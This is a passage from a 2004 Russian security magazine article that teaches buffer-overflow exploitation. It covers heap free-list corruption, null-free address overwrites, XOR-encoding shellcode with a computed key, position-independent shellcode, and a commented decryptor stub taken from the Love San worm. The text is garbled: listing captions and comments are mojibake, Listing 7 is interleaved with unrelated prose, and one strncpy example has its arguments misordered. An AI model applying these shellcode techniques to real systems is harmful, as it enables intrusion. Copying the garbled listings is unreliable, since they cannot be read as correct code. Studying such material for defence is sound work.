переменных. В первую очередь это переменные-члены
самой структуры (в данном случае – переменная b), стра-
тегия модификации которых вполне типична и подчиня-
ется тем же правилам – общим для всех переполняющих-
ся буферов. Менее очевидна возможность затирания яче-
ек памяти, лежащих за пределами выделенного блока па-
мяти. Кстати, для буферов, монопольно владеющих всем
выделенным блоком памяти, это единственно возможная
стратегия переполнения вообще. Взгляните на следующий
код. Как вы думаете, что здесь можно переполнить?
Ëèñòèíã 2. Ïðèìåð äèíàìè÷åñêîãî áëîêà ïàìÿòè, ïîäâåðæåííîãî
ïåðåïîëíåíèþ
#define MAX_BUF_SIZE 8
#define MAX_STR_SIZE 256
char *p;
…
p = malloc(MAX_BUF_SIZE);
…
strncpy(p, MAX_STR_SIZE, str);
Долгое время считалось, что переполнять здесь осо-
бенно и нечего. Максимум – можно устроить банальный
DoS, но целенаправленно захватить управление жертвой
невозможно в силу хаотичности распределения динами-
ческих блоков по памяти. Базовый адрес блока p, вообще
говоря, случаен, и за его концом может быть расположено
все что угодно, в том числе и невыделенный регион памя-
ти, всякое обращение к которому приводит к немедленно-
му исключению, аварийно завершающему программу.
На самом деле, все это не более чем расхожие заб-
луждения. Сегодня переполнением динамических буфе-
ров никого не удивишь. Эта технология широко и небе-
зуспешно используется в качестве универсального (!) сред-
ства захвата управления. Нашумевший червь Slapper –
один из немногих червей, поражающий UNIX-машины –
распространяется именно так. Как же такое возможно?
Попробуем разобраться…

Выделение и освобождение динамической памяти дей-
ствительно происходит довольно сумбурно – беспорядоч-
но, и за концом нашего блока в произвольный момент
времени может быть расположен любой другой блок. Даже
при последовательном выделении нескольких блоков па-
мяти никто не может гарантировать, что при каждом за-
пуске программы они будут выделяться в одном и том же
порядке, поскольку это зависит от размера и порядка ос-
вобождения предыдущих выделяемых буферов. Тем не
менее, устройство служебных структур данных, пронизы-
вающих динамическую память своеобразным несущим
каркасом, легко предсказуемо, хотя и меняется от одной
версии библиотеки компилятора к другой.
Существует множество реализаций динамической па-
мяти, и различные производители используют различные
алгоритмы. Выделяемые блоки памяти могут быть нани-
заны и на дерево, и на одно/двух-связанный список, ссыл-
ки на который могут быть представлены как указателя-
ми, так и индексами, хранимыми либо в начале/конце каж-
дого выделяемого блока, либо в отдельной структуре дан-
ных. Причем последний способ реализации по ряду при-
чин встречается крайне редко.
Рассмотрим следующую организацию динамической
памяти, при которой все выделяемые блоки соединены
посредством двухсвязных списков, указатели на которых
расположены в начале каждого блока (см. рис. 2), причем
смежные блоки памяти не обязательно должны находить-
ся в соседних элементах списка, т.к. в процессе много-
кратных операций выделения/освобождения список неиз-
бежно фрагментируется, а постоянно дефрагментировать
его себе дороже.
Ðèñóíîê 2. Êàðòà ïðèáëèçèòåëüíîãî ðàñïðåäåëåíèÿ äèíàìè÷åñêîé
ïàìÿòè
Переполнение буфера приводит к затиранию служеб-
ных структур следующего блока памяти и как следствие –
возможности их модификации. Но что это нам дает? Ведь
доступ к ячейкам всякого блока осуществляется по ука-
№4(17), апрель 2004
безопасность
зателю, возращенному программе в момент его выделе-
ния, а отнюдь не по «служебному» указателю, который мы
собираемся затирать! Служебные указатели используют-
ся исключительно функциями malloc/free (и другими по-
добными им функциями). Искажение указателя на следу-
ющий/предыдущий блок позволяет навязать адрес сле-
дующего выделяемого блока, например, «наложив» его
на доступный нам буфер, но никаких гарантий, что это
получится, у нас нет – при выделении блока памяти функ-
ция malloc ищет наиболее подходящий с ее точки зрения
регион свободной памяти (обычно это первый свободный
блок в цепочке, совпадающий по размеру с запрошенным),
и не факт, что наш регион ей подойдет. Короче говоря, не
воодушевляющая перспектива получается.
Освобождение блоков памяти – другое дело! Для
уменьшения фрагментации динамической памяти функ-
ция free автоматически объединяет текущий освобожда-
емый блок со следующим, если тот тоже свободен. По-
скольку смежные блоки могут находиться на различных
концах связывающего их списка, перед присоединением
чужого блока памяти функция free должна «выбросить»
его из цепочки. Это осуществляется путем склейки пред-
шествующего и последующего указателей, что в псевдо-
коде выглядит приблизительно так: *указатель на следу-
ющий блок в цепочке = указатель на предыдущий блок в
цепочке. Постойте, но ведь это… Да! Это аналог бейсик-
функции POKE, позволяющий нам модифицировать лю-
бую ячейку уязвимой программы!
Подробнее об этом можно прочитать в статье «Once upon
a free()…», опубликованной в 39h-номере электронного
журнала PHRACK, доступного по адресу www.phrack.org.
Статья перегружена техническими подробностями реали-
зации динамической памяти в различных библиотеках и
написана довольно тяжелым языком, но ознакомиться с
ней, безусловно, стоит.
Как правило, возможность записи в память исполь-
зуется для модификации таблицы импорта с целью под-
мены некоторой API-функции, гарантированно вызыва-
емой уязвимой программой, вскоре после переполнения
(«вскоре», потому что часы ее уже сочтены – целостность
ссылочного каркаса динамической памяти нарушена, и
это неустойчивое сооружение в любой момент может рух-
нуть, пустив программу в разнос). К сожалению, пере-
дать управление на переполняющийся буфер скорее все-
го не удастся, т.к. его адрес наперед неизвестен, и тут
приходится импровизировать. Во-первых, злоумышлен-
ник может разместить shell-код в любом другом доступ-
ном ему буфере с известным адресом (см. «В секции
данных…»). Во-вторых, среди функций уязвимой про-
граммы могут встретиться и такие, что передают управ-
ление на указатель, переданный им с тем или иным ар-
гументом (такую функцию условимся называть функци-
ей f). После чего останется найти API-функцию, прини-
мающую указатель на переполняющийся буфер и под-
менить ее адрес адресом функции f. В Си++ программах
с их виртуальными функциями и указателями this такая
ситуация случается не так уж и редко, хотя и распрост-
раненной ее тоже не назовешь. Но при проектировании
shell-кода на универсальные решения закладываться,
33
 безопасность
вообще говоря, и не приходится. Проявите инженерную
смекалку, удивите мир!
Будьте заранее готовы к тому, что в некоторых реали-
зациях кучи вы встретитесь не с указателями, а с индек-
сами, которые в общем случае представляют собой отно-
сительные адреса, отсчитываемые либо от первого байта
кучи, либо от текущей ячейки памяти. Последний случай
встречается наиболее часто (в частности, штатная биб-
лиотека компилятора MS VC 6.0 построена именно так),
поэтому имеет смысл рассмотреть его поподробнее. Как
уже говорилось выше, абсолютные адреса переполняю-
щего буфера заранее неизвестны и непредсказуемым об-
разом изменяются под воздействием ряда обстоятельств.
Адреса же ячеек, наиболее соблазнительных для моди-
фикации, напротив, абсолютны. Что делать? Можно, ко-
нечно, исследовать стратегию выделения/освобождения
памяти для данного приложения на предмет выявления
наиболее вероятных комбинаций – кое-какие закономер-
ности в назначении адресов переполняющимся буферам,
безусловно, есть. Методично перебирая все возможные
варианты один за другим, атакующий рано или поздно
захватит управление сервером (правда, перед этим не-
сколько раз его завесит, демаскируя атаку и усиливая
бдительность администраторов).
В секции данных…
Переполняющиеся буфера, расположенные в секции дан-
ных (статические буфера) – настоящая золотая жила с
точки зрения злоумышленника! Это единственный тип
буферов, адреса которых явно задаются еще на этапе
компиляции (вообще-то не компиляции, а компоновки, но
это уже детали) и постоянны для каждой конкретной вер-
сии уязвимого приложения независимо от того, на какой
операционной системе она выполняется.
Самое главное – секция данных содержит огромное ко-
личество указателей на функции/данные, глобальные фла-
ги, дескрипторы файлов и кучи, имена файлов, текстовые
строки, буфера некоторых библиотечных функций… Прав-
да, до всего этого богатства еще предстоит «дотянуться»
и, если длина переполняющегося буфера окажется жестко
ограничена сверху (как часто и случается), атакующий не
получит от последнего никаких преимуществ!
К тому же, если стек и куча гарантированно содер-
жат указатели в определенных местах и поддерживают
более или менее универсальные механизмы захвата уп-
равления, то в случае со статическими буферами атаку-
ющему остается надеяться лишь на удачу. А удача, как
известно, баба подлая, и переполнения статических бу-
феров носят единичный характер и всегда развиваются
по уникальному сценарию, не допускающему обобщаю-
щей классификации.
Секреты проектирования shell-кода
Попытка реализовать собственный shell-код неминуемо
наталкивает атакующего на многочисленные ограничения,
одни из которых обходятся путем хитроумных хаков и из-
вращений, с другими же приходится мириться, восприни-
мая их как неотъемлемую часть жестоких сил природы.
34
Запрещенные символы
Строковые переполняющиеся буфера (в особенности те,
что относятся к консольному вводу и клавиатуре) налага-
ют жесткие ограничения на ассортимент своего содержи-
мого. Самое неприятное ограничение заключается в том,
что символ нуля на всем протяжении строки может встре-
чаться лишь однажды и лишь на конце строки (правда,
это ограничение не распространяется на UNICODE-стро-
ки). Это затрудняет подготовку shell-кода и препятствует
выбору произвольных целевых адресов. Код, не исполь-
зующий нулевых байт, принято называть Zero Free-кодом,
и техника его подготовки – настоящая Камаcутра.
Искусство затирания адресов
Рассмотрим ситуацию, когда следом за переполняющим-
ся буфером идет уязвимый указатель на вызываемую
функцию (или указатель this), а интересующая злоумыш-
ленника функция root располагается по адресу 00401000h.
Поскольку только один символ, затирающий указатель,
может быть символом нуля, то непосредственная запись
требуемого значения невозможна, и приходится хитрить.
Начнем с того, что в 32-разрядных операционных сис-
темах (к которым, в частности, принадлежит Windows NT
и многие клоны UNIX) стек, данные и код большинства при-
ложений лежат в узком диапазоне адресов: 00100000h –
~00x00000h, т.е. как минимум один ноль у нас уже есть –
и это старший байт адреса. В зависимости от архитекту-
ры процессора он может располагаться как по младшим,
так и по старшим адресам. Семейство x86-процессоров
держит его в старших адресах, что с точки зрения атаку-
ющего очень даже хорошо, поскольку мы можем навязать
уязвимому приложению любой XxYyZzh-адрес, при усло-
вии, что Xx, Yy и Zz не равны нулю.
Теперь давайте рассуждать творчески: позарез необ-
ходимый нам адрес 401000h в прямом виде недостижим в
принципе. Но, может быть, нас устроит что-нибудь дру-
гое? Например, почему бы не начать выполнение функ-
ции не с первого байта? Функции с классическим проло-
гом (коих вокруг нас большинство) начинаются с инструк-
ции PUSH EBP, сохраняющей значение регистра EBP в
стеке. Если этого не сделать, то при выходе функция не-
пременно грохнется, но… это уже будет не важно (свою
миссию функция выполнила и все, что было нужно атаку-
ющему, она выполнила). Хуже, если паразитный символ
нуля встречается в середине адреса или присутствует в
нем дважды, например – 50000h.
В некоторых случаях помогает способ коррекции су-
ществующих адресов. Допустим, затираемый указатель
содержит адрес 5000FAh. Тогда, для достижения желае-
мого результата атакующий должен затереть один лишь
младший символ адреса, заменив FAh символом нуля.
Как вариант можно попробовать поискать в дизассем-
блерном листинге команду перехода (вызова) интересу-
ющей нас функции, – существует вероятность, что она
будет располагаться по «правильным» адресам. При ус-
ловии, что целевая функция вызывается не однажды и
вызовы следуют из различных мест (а обычно именно так
и бывает), вероятность, что хотя бы один из адресов нам
«подойдет», весьма велика.

Следует также учитывать, что некоторые функции вво-
да не вырезают символ перевода каретки из вводимой
строки, чем практически полностью обезоруживают ата-
кующих. Непосредственный ввод целевых адресов ста-
новится практически невозможным (ну что интересного
можно найти по адресу 0AXxYyh?), коррекция существу-
ющих адресов хотя и остается возможной, но на практике
встретить подходящий указатель крайне маловероятно
(фактически мы ограничены лишь одним адресом ??000A,
где ?? – прежнее значение уязвимого указателя). Един-
ственное, что остается – полностью затереть все 4-байта
указателя вместе с двумя последующими за ним байта-
ми. Тогда мы сможем навязать уязвимому приложению
любой FfXxYyZz, где Ff > 00h. Этот регион обычно принад-
лежит коду операционной системы и драйверам. С нену-
левой вероятностью здесь можно найти машинную коман-
ду, передающую управление по целевому адресу. В про-
стейшем случае это CALL адрес/JMP адрес (что достаточ-
но маловероятно), в более общем случае – CALL регистр/
JMP регистр. Обе – двухбайтовые команды (FF Dx и FF Ex
соответственно), и в памяти таких последовательностей
сотни! Главное, чтобы на момент вызова затертого указа-
теля (а значит, и на момент передачи управления коман-
де CALL регистр/JMP регистр) выбранный регистр содер-
жал требуемый целевой адрес.
Штатные функции консольного ввода интерпретируют
некоторые символы особым образом (например, символ с
кодом 008 удаляет символ, стоящий перед курсором) и они
[censored] еще до попадания в уязвимый буфер. Следует
быть готовым и к тому, что атакуемая программа контро-
лирует корректность поступающих данных, откидывая все
нетекстовые символы или (что еще хуже) приводит их к
верхнему/нижнему регистру. Вероятность успешной атаки
(если только это не DoS-атака) становится исчезающе мала.
Подготовка shell-кода
В тех случаях, когда переполняющийся строковой буфер
используется для передачи двоичного shell-кода (напри-
мер, головы червя), проблема нулевых символов стоит
чрезвычайно остро – нулевые символы содержатся как в
машинных командах, так и на концах строк, передавае-
мых системным функциям в качестве основного аргумен-
та (обычно это «cmd.exe» или «/bin/sh»).
Для изгнания нулей из операндов машинных инструк-
ций следует прибегнуть к адресной арифметике. Так, на-
пример, MOV EAX,01h (B8 00 00 00 01) эквивалентно XOR
EAX,EAX/INC EAX (33 C0 40). Последняя запись, кстати,
даже короче. Текстовые строки (вместе с завершающим
нулем в конце) также могут быть сформированы непос-
редственно на вершине стека, например:
Ëèñòèíã 3. Ðàçìåùåíèå ñòðîêîâûõ àðãóìåíòîâ íà ñòåêå
ñ äèíàìè÷åñêîé ãåíåðàöèåé çàâåðøàþùåãî ñèìâîëà íóëÿ
00000000: 33C0 xor eax,eax
00000002: 50 push eax
00000003: 682E657865 push 06578652E ;"exe."
00000008: 682E636D64 push 0646D632E ;"dmc."
Как вариант можно воспользоваться командой XOR
EAX,EAX/MOV [XXX], EAX, вставляющей завершающий
№4(17), апрель 2004
безопасность
нуль в позицию XXX, где XXX – адрес конца текстовой стро-
ки, вычисленный тем или иным способом (см. «В поисках
самого себя»).
Более радикальным средством предотвращения появ-
ления нулей является шифровка shell-кода, в подавляю-
щем большинстве случаев сводящаяся к тривиальному
XOR. Основную трудность представляет поиск подходяще-
го ключа шифрования – ни один шифруемый байт не дол-
жен обращаться в символ нуля. Поскольку, a XOR a == 0,
для шифрования подойдет любой байтовый ключ, не со-
впадающий ни с одним байтом shell-кода. Если же в shell-
коде присутствует полный набор всех возможных значе-
ний от 00h до FFh, следует увеличить длину ключа до сло-
ва и двойного слова, выбирая ее так, чтобы никакой байт
накладываемой гаммы не совпадал ни с одним шифруе-
мым байтом. А как построить такую гамму (метод перебо-
ра не предлагать)? Да очень просто – подсчитываем час-
тоту каждого из символов shell-кода, отбираем 4 симво-
ла, которые встречаются реже всего, выписываем их сме-
щения относительно начала shell-кода в столбик и вычис-
ляем остаток от деления на 4. Вновь записываем полу-
ченные значения в столбик, отбирая те, которые в нем не
встречаются, – это и будут позиции данного байта в клю-
че. Непонятно? Не волнуйтесь, сейчас все это разберем
на конкретном примере.
Допустим, в нашем shell-коде наиболее «низкочастот-
ными» оказались символы 69h, ABh, CCh, DDh, встреча-
ющиеся в следующих позициях:
Ëèñòèíã 4. Òàáëèöà ñìåùåíèé íàèáîëåå «íèçêî÷àñòîòíûõ»
ñèìâîëîâ, îòñ÷èòûâàåìûõ îò íà÷àëà øèôðóåìîãî êîäà
ñèìâîë ñìåùåíèÿ ïîçèöèé âñåõ åãî âõîæäåíèé
----------------------------------------------
69h 04h, 17h, 21h
ABh 12h, 1Bh, 1Eh, 1Fh, 27h
CCh 01h, 15h, 18h, 1Ch, 24h, 26h
DDh 02h, 03h, 06h, 16h, 19h, 1Ah, 1Dh
После вычисления остатка от деления на 4 над каждым
из смещений мы получаем следующий ряд значений:
Ëèñòèíã 5. Òàáëèöà îñòàòêîâ îò äåëåíèÿ ñìåùåíèé íà 4
ñèìâîë îñòàòîê îò äåëåíèÿ ñìåùåíèé ïîçèöèé íà 4
---------------------------------------------------
69h 00h, 03h, 00h
ABh 02h, 03h, 02h, 03h, 03h
CCh 01h, 01h, 00h, 00h, 00h, 02h
DDh 02h, 03h, 02h, 02h, 01h, 02h, 01h
Мы получили четыре ряда данных, представляющих
собой позиции наложения шифруемого символа на гам-
му, в которой он обращается в нуль, что недопустимо,
поэтому нам необходимо выписать все значения, которые
не встречаются в каждом ряду данных:
Ëèñòèíã 6. Òàáëèöà ïîäõîäÿùèõ ïîçèöèé ñèìâîëîâ êëþ÷à â ãàììå
ñèìâîë ïîäõîäÿùèå ïîçèöèè â ãàììå
-------------------------------------
69h 01h, 02h
ABh 00h, 01h
CCh 03h
DDh 00h
Теперь из полученных смещений можно собрать гам-
му, комбинируя их таким образом, чтобы каждый сим-
35
 безопасность
вол встречался в гамме лишь однажды. Смотрите, сим- .data:004045A6
вол DDh может встречаться только в позиции 00h, сим- .data:004045A6 ;
.data:004045AB ; íà÷àëî ðàñøèôðîâàííîãî òåêñòà
вол CCh – только в позиции 03h, а два остальных симво-
ла – в любой из оставшихся позиций. То есть это будет
либо DDh ABh 69h ССh, либо DD 69h ABh 69h. Если же Вчера были большие, но по пять…
гамму собрать не удается – необходимо увеличить ее или размер тоже имеет значение!
длину. Разумеется, выполнять все расчеты вручную со- По статистике габариты подавляющего большинства пе-
вершенно необязательно, и эту работу можно перело- реполняющихся буферов составляют 8 байт. Значитель-
жить на компьютер. но реже переполняются буфера, вмещающие в себя от 16
Естественно, перед передачей управления на зашиф- до 128 (512) байт, а буферов больших размеров в живой
рованный код он должен быть в обязательном порядке природе практически не встречается.
расшифрован. Эта задача возлагается на расшифровщик, Закладываясь на худший из возможных вариантов (а в
к которому предъявляются следующие требования: он боевой обстановке атакующим приходится действовать
должен быть: именно так!), учитесь выживать даже в жесточайших усло-
а) по возможности компактным; виях окружающей среды с минимумом пищи, воды и кис-
б) позиционно независимым (т.е. полностью перемеща- лорода. В крошечный объем переполняющегося буфера
емым); можно вместить очень многое, если подходить ко всяко-
в) не содержать в себе символов нуля. му делу творчески и думать головой.
Первое (и самое простое), что пришло нашим хакерс-
В частности, червь Love San поступает так: ким предкам в голову – это разбить атакующую програм-
му на две неравные части – компактную голову и протяж-
Ëèñòèíã 7. Ðàñøèôðîâùèê shell-êîäà, âûäðàííûé èç âèðóñà ный хвост. Голова обеспечивает следующие функции:
Love San
переполнение буфера, захват управления и загрузку хво-
.data:0040458B EB 19 jmp short loc_4045A6 ста. Голова может нести двоичный код, но может обхо-
.data:0040458B ; çäåñü ìû ïðûãàåì â ñåðåäèíó êîäà,
.data:0040458B ; ÷òîáû ïîòîì ñîâåðøèòü CALL íàçàä диться и без него, осуществляя всю диверсионную дея-
.data:0040458B; (CALL âïåðåä ñîäåðæèò çàïðåùåííûå ñèìâîëû íóëÿ) тельность руками уязвимой программы. Действительно,
.data:0040458D
CODE XREF: sub_40458D+19↓p многие программы содержат большое количество служеб-
.data:0040458D sub_40458Dproc near; ных функций, дающих полный контроль над системой или,
.data:0040458D
.data:0040458D 5E pop esi ; ESI := 4045ABh на худой конец, позволяют вывести себя из строя и пойти
; âûòàëêèâàåì èç ñòåêà àäðåñ âîçâðàòà, ïîìåùåííûé òóäà в управляемый разнос. Искажение одной или нескольких
; êîìàíäîé CALL
.data:0040458D критических ячеек программы ведет к ее немедленному
; ýòî íåîáõîäèìî äëÿ îïðåäåëåíèÿ ñâîåãî ìåñòîïîëîæåíèÿ â ïàìÿòè обрушению, и количество искаженных ячеек начинает ра-
.data:0040458D
.data:0040458D ; сти как снежный ком. Через длинную или короткую це-
.data:0040458E 31 C9 xor ecx, ecx почку причинно-следственных событий в ключевые ячей-
.data:0040458E ; îáíóëÿåì ðåãèñòð ECX
.data:0040458E ; ки программы попадают значения, необходимые злоумыш-
.data:00404590 81 E9 89 FF FF sub ecx, -77h леннику. Причудливый узор мусорных байт внезапно скла-
.data:00404590 ; óâåëè÷èâàåì ECX íà 77h (óìåíüøàåì ECX íà –77h)
; êîìáèíàöèÿ XOR ECX,ECX/SUB ECX, -77h ýêâèâàëåíòíà MOV ECX, 77h дывается в законченную комбинацию, замок глухо щел-
.data:00404590 кает и дверцы сейфа медленно раскрываются. Это похо-
; çà òåì èñêëþ÷åíèåì, ÷òî åå ìàøèííîå ïðåäñòàâëåíèå íå ñîäåðæèò
; â ñåáå íóëåé же на шахматную головоломку с постановкой мата в N
.data:00404590 ходов, причем состояние большинства полей неизвестно,
.data:00404590
.data:00404596 поэтому сложность задачи быстро растет с увеличением
.data:00404596 loc_404596: ; CODE XREF: sub_40458D+15↓ j глубины N.
.data:00404596 81 36 80 BF 32 xor dword ptr [esi], 9432BF80h
; ðàñøèôðîâûâàåì î÷åðåäíîå äâîéíîå ñëîâî ñïåöèàëüíî Конкретные примеры головоломок привести сложно,
; ïîäîáðàííîé ãàììîé т.к. даже простейшие из них занимают несколько страниц
.data:00404596
.data:00404596 ; убористого текста (в противном же случае листинги выг-
.data:0040459C 81 EE FC FF FF sub esi, -4h лядят слишком искусственно, а решение лежит букваль-
; óâåëè÷èâàåì ESI íà 4h (ïåðåõîäèì ê ñëåäóþùåìó äâîéíîìó ñëîâó)
.data:0040459C но на поверхности). Интересующиеся могут обратиться к
.data:0040459C ; коду червя Slapper, до сих пор остающемуся непревзой-
.data:004045A2 E2 F2 loop loc_404596
.data:004045A2 ; ìîòàåì öèêë, ïîêà åñòü ÷òî ðàñøèôðîâûâàòü денным эквилибристом по глубине атаки и детально про-
.data:004045A2 ; анализированным специалистами компании Symantec, от-
.data:004045A4 EB 05 jmp short loc_4045AB
; ïåðåäàåì óïðàâëåíèå ðàñøèôðîâàííîìó shell-êîäó чет которых можно найти на их же сайте (см. «An Analysis
.data:004045A4 of the Slapper Worm Exploit»).
.data:004045A4 ;
.data:004045A6 loc_4045A6: ; CODE XREF: .data:0040458B↑j Впрочем, атаки подобного типа скорее относятся к эк-
.data:004045A6 E8 E2 FF FF FF call sub_40458D зотике интеллектуальных развлечений, чем к практичес-
; ïðûãàåì íàçàä, çàáðàñûâàÿ àäðåñ âîçâðàòà (à ýòî – àäðåñ
; ñëåäóþùåé âûïîëíÿåìîé èíñòðóêöèè) íà âåðøèíó ñòåêà, ïîñëå ким приемам вторжения в систему и потому чрезвычайно
; ÷åãî âûòàëêèâàåì åãî â ðåãèñòð ESI, ÷òî ýêâèâàëåíòíî мало распространены. В плане возвращения к средствам
; MOV ESI, EIP, íî òàêîé ìàøèííîé êîìàíäû â ÿçûêå
; x86 ïðîöåññîðîâ íåò традиционной «мануальной терапии», отметим, что если
.data:004045A6 размер переполняющегося буфера равен 8 байтам, отсю-
.data:004045A6
.data:004045A6 да еще не следует, что и длина shell-кода должна быть

36

равна тем же 8 байтам. Ведь это же переполняющийся
буфер! Но не стоит бросаться и в другую крайность, наде-
яться, что предельно допустимая длина shell-кода окажет-
ся практически неограниченной. Подавляющее большин-
ство уязвимых приложений содержат несколько уровней
проверок корректности пользовательского ввода, которые
будучи даже не совсем правильно реализованными, все-
таки налагают определенные, подчас весьма жесткие,
ограничения на атаку.
Если в куцый объем переполняющегося буфера вмес-
тить загрузчик никак не удается, атакующий переходит к
плану «B», заключающемуся в поиске альтернативных
способов передачи shell-кода. Допустим, одно из полей
пользовательского пакета данных допускает переполне-
ние, приводящее к захвату управления, но его размер
катастрофически мал. Но ведь остальные поля тоже со-
держатся в оперативной памяти! Так почему бы не исполь-
зовать их для передачи shell-кода? Переполняющийся
буфер, воздействуя на систему тем или иным образом,
должен передать управление не на свое начало, а на пер-
вый байт shell-кода, если, конечно, атакующий знает от-
носительный или абсолютный адрес последнего в памя-
ти. Поскольку простейший способ передачи управления
на автоматические буфера сводится к инструкции
JMP ESP, то наиболее выгодно внедрять shell-код в те
буфера, которые расположены в непосредственной бли-
зости от вершины стека, в противном случае ситуация
рискует самопроизвольно выйти из под контроля и для
создания надежно работающего shell-кода атакующему
придется попотеть. Собственно говоря, shell-код может
находиться в самых неожиданных местах, например, в хво-
сте последнего TCP-пакета (в подавляющем большинстве
случаев он попадает в адресное пространство уязвимого
процесса, причем зачастую располагается по более или
менее предсказуемым адресам).
В более сложных случаях shell-код может быть пере-
дан отдельным сеансом, – злоумышленник создает не-
сколько подключений к серверу, по одному передается
shell-код (без переполнения, но в тех полях, размер кото-
рых достаточен для его вмещения), а другому –запрос,
вызывающий переполнение и передающий управление на
shell-код. Дело в том, что в многопоточных приложениях
локальные стеки всех потоков располагаются в едином
адресном пространстве процесса и их адреса назначают-
ся не хаотичным, а строго упорядоченным образом. При
условии, что между двумя последними подключениями,
установленными злоумышленником, к серверу не подклю-
чился кто-то еще, «трас-поточное» определение адресов
представляет собой хоть и сложную, но вполне разреши-
мую проблему.
В поисках самого себя
Предположим, что shell-код наделен сознанием (хотя это
и не так). Что бы мы ощутили, оказавшись на его месте?
Представьте себе, что вы диверсант-десантник которого
выбрасывают куда-то в пустоту. Вас окружает враждеб-
ная территория и еще темнота. Где вы? В каком месте
приземлились? Рекогносцировка на местности (лат.
recognoscere [рассматривать] – разведка с целью получе-
№4(17), апрель 2004
безопасность
ния сведений о расположении противника, его огневых
средствах, особенностях местности, где предполагаются
боевые действия, и т. п. проводимая командирами или
офицерами штаба перед началом боевых действий) и бу-
дет вашей первой задачей (а если вас занесет в болото,
то и последней тоже).
Соответственно, первой задачей shell-кода является
определение своего местоположения в памяти или стро-
го говоря, текущего значения регистра указателя команд
(в, частности, в x86-процессорах это регистр EIP).
Статические буфера, расположенные в секции данных,
располагаются по более или менее предсказуемым адре-
сам, легко выявляемых дизассемблированием уязвимо-
го приложения. Однако они чрезвычайно чувствительны
к версии атакуемого приложения и в меньшей степени –
к модели операционной системы (различные операцион-
ные системы имеют неодинаковый нижний адрес загруз-
ки приложений). Динамические библиотеки в большинстве
своем перемещаемы и могут загружаться в память по
различным базовым адресам, хотя при статической ком-
поновке каждый конкретный набор динамических библио-
тек всегда загружается одним и тем же образом. Автома-
тические буфера, расположенные в стеке, и динамичес-
кие буфера, расположенные в куче, размещаются по чрез-
вычайно трудно предсказуемым или даже совершенно
непредсказуемым адресам.
Использование абсолютной адресации (или, говоря
другими словами, жесткой привязки к конкретным адре-
сам, вроде MOV EAX, [406090h]) ставит shell-код в зави-
симость от окружающей среды и приводит к многочис-
ленным обрушениям уязвимых приложений, в которых
буфер оказался не там, где ожидалось. «Из чего только
делают современных хакеров, что они даже переполнить
буфер, не угробив при этом систему, оказываются не в
состоянии?» – вздыхает прошлое поколение. Чтобы этого
не происходило, shell-код должен быть полностью пере-
мещаемым – т.е. уметь работать в любых, заранее ему не
известных адресах.
Поставленную задачу можно решить двумя путями –
либо использовать только относительную адресацию (что
на x86-платформе в общем-то недостижимо), либо само-
стоятельно определять свой базовый адрес загрузки и
вести «летоисчисление» уже от него. И тот, и другой спо-
соб рассматриваются ниже, с характерной для хакеров
подробностью и обстоятельностью.
Семейство x86-процессоров с относительной адреса-
цей категорически не в ладах, и разработка shell-кода для
них – это отличная гимнастика для ума. Всего имеется две
относительные команды (CALL и JMP/Jx с опкодами E8h и
Ebh,E9h/7xh,0F 8xh соответственно) и обе – команды уп-
равления. Непосредственное использование регистра EIP
в адресных выражениях запрещено.
Использование относительных CALL в 32-разрядном
режиме имеет свои трудности. Аргумент команды зада-
ется знаковым 4-байтовым целым, отсчитываемым от на-
чала следующей команды, и при вызове нижележащих
подпрограмм в старших разрядах, содержащих одни нули.
А поскольку в строковых буферах символ нуля может
встретиться лишь однажды, такой shell-код просто не смо-
37
 безопасность
жет работать. Если же заменить нули на что-то другое,
можно совершить очень далекий переход, далеко выхо-
дящий за пределы выделенного блока памяти.
Уж лучше прыгать назад – в область младших адре-
сов, тогда нули волшебным образом превратятся в сим-
волы с кодом FFh (которые, кстати говоря, так же отно-
сятся к категории «трудных» символов, которые соглаша-
ются проглотить далеко не все уязвимые программы).
Применив военную хитрость и засадив в инструкцию пре-
фикс 66h, мы не только сократим длину машинной коман-
ды на один байт (что в ряде случаев весьма актуально),
но и оторвем два старших байта операнда (те, которые
были с нулевыми символами).
В машинном виде все это выглядит приблизительно так:
Ëèñòèíã 8. Ìàøèííîå ïðåäñòàâëåíèå îòíîñèòåëüíûõ êîìàíä CALL
00000000: E804000000 call 000000009
00000005: 66E80101 call 00000010A
00000009: E8F7FFFFFF call 000000005
Сказанное справедливо и по отношению к команде
JMP, за тем лишь исключением, что команды условного
перехода (равно как и команда JMP SHORT) размещают
свой адрес перехода в одном-единственном байте, что не
только усиливает компактность кода, но и избавляет нас
от проблемы «трудных» символов.
Если же необходимо совершить переход по абсолютно-
му адресу (например, вызвать некоторую системную функ-
цию или функцию уязвимой программы), можно восполь-
зоваться конструкцией CALL регистр/JMP регистр, предва-
рительно загрузив регистр командой MOV регистр, непос-
редственный операнд (от нулевых символов можно изба-
виться с помощью команд адресной арифметики) или ко-
мандой CALL непосредственный операнд с опкодом FF /2,
9A или FF /3 для ближнего, дальнего и перехода по операн-
ду в памяти соответственно.
Относительная адресация данных (в т.ч. и самомоди-
фицирующегося кода) обеспечивается на порядок слож-
нее. Все имеющиеся в нашем распоряжении команды ад-
ресуются исключительно относительно регистра-указате-
ля верхушки стека (в x86 процессорах это регистр ESP),
что, конечно, довольно привлекательно само по себе, но
и таит определенную внутреннюю опасность. Положение
указателя стека после переполнения в общем случае не
определено, и наличие необходимого количества стеко-
вой памяти не гарантировано. Так что действовать прихо-
дится на свой страх и риск.
Стек можно использовать и для подготовки строковых/
числовых аргументов системных функций, формируя их ко-
мандой PUSH и передавая через относительный указатель
ESP + X, где X может быть как числом, так и регистром. Ана-
логичным образом осуществляется и подготовка самомоди-
фицирующегося кода – мы «пишем» код в стек и модифи-
цируем его, отталкиваясь от значения регистра ESP.
Любители же «классической миссионерской» могут
пойти другим путем, определяя текущую позицию EIP по-
средством конструкции CALL $ + 5/RET, правда в лоб та-
кую последовательность машинных команд в строковой
буфер не передать, т.к. 32-разрядный аргумент команды
CALL содержит несколько символов нуля. В простейшем
38
случае они изгоняются «заклинанием» 66 E8 FF FF C0, ко-
торое эквивалентно инструкциям CALL $3/INC EAX, нало-
женным друг на друга (естественно, это может быть не
только EAX и не только INC). Затем лишь остается вытол-
кнуть содержимое верхушки стека в любой регистр об-
щего назначения, например, EBP или EBX. К сожалению,
без использования стека здесь не обойтись, и предлагае-
мый метод требует, чтобы указатель вершины стека смот-
рел на выделенный регион памяти, доступной на запись.
Для перестраховки (если переполняющийся буфер дей-
ствительно срывает стек начисто) регистр ESP рекомен-
дуется инициализировать самостоятельно. Это действи-
тельно очень просто сделать, ведь многие из регистро-
вых переменных уязвимой программы содержат предска-
зуемые значения, точнее – используются предсказуемым
образом. Так, в Си++ программах ECX наверняка содер-
жит указатель this, а this – это не только ценный мех, но и
